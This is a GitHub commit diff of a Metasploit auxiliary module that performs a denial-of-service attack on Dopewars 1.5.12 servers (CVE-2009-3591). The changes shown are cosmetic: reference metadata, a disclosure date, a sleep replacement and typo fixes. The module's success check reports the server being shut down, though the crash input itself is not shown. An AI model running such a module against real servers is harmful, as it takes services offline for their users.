File tree Expand file tree Collapse file tree 1 file changed +9
-6
lines changed
modules/auxiliary/dos/misc Expand file tree Collapse file tree 1 file changed +9
-6
lines changed Original file line number Diff line number Diff line change @@ -16,17 +16,20 @@ def initialize(info = {})
16
16
super ( update_info ( info ,
17
17
'Name' => 'Dopewars Denial of Service' ,
18
18
'Description' => %q{
19
- The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to a lack of input validation.
19
+ The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to
20
+ a lack of input validation.
20
21
} ,
21
22
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ] ,
22
23
'License' => MSF_LICENSE ,
23
24
'References' =>
24
25
[
25
- [ 'BID' , '36606' ] ,
26
26
[ 'CVE' , '2009-3591' ] ,
27
- ] ) )
27
+ [ 'OSVDB' , '58884' ] ,
28
+ [ 'BID' , '36606' ]
29
+ ] ,
30
+ 'DisclosureDate' => "Oct 05 2009" ) )
28
31
29
- register_options ( [ Opt ::RPORT ( 7902 ) , ] , self . class )
32
+ register_options ( [ Opt ::RPORT ( 7902 ) ] , self . class )
30
33
end
31
34
32
35
def run
@@ -44,13 +47,13 @@ def run
44
47
disconnect
45
48
46
49
print_status ( "Checking for success..." )
47
- sleep 2
50
+ select ( nil , nil , nil , 2 )
48
51
begin
49
52
connect
50
53
rescue ::Interrupt
51
54
raise $!
52
55
rescue ::Rex ::ConnectionRefused
53
- print_good ( "Dopewars server succesfully shut down!" )
56
+ print_good ( "Dopewars server successfully shut down!" )
54
57
else
55
58
print_error ( "DOS attack unsuccessful" )
56
59
ensure
You can’t perform that action at this time.
0 commit comments